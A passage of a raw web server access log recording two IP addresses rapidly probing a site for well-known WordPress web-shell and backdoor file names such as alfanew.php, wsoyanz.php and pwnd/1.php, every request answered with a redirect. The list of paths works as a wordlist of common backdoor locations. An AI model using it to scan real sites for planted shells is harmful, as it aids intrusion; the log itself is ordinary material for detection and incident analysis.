Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:35 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:36 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:37 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:37 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:38 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:38 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:38 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:38 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:38 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:39 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:39 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:39 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:39 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:39 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:39 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:39 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:40 -0400] "GET /wp-tinymce.php 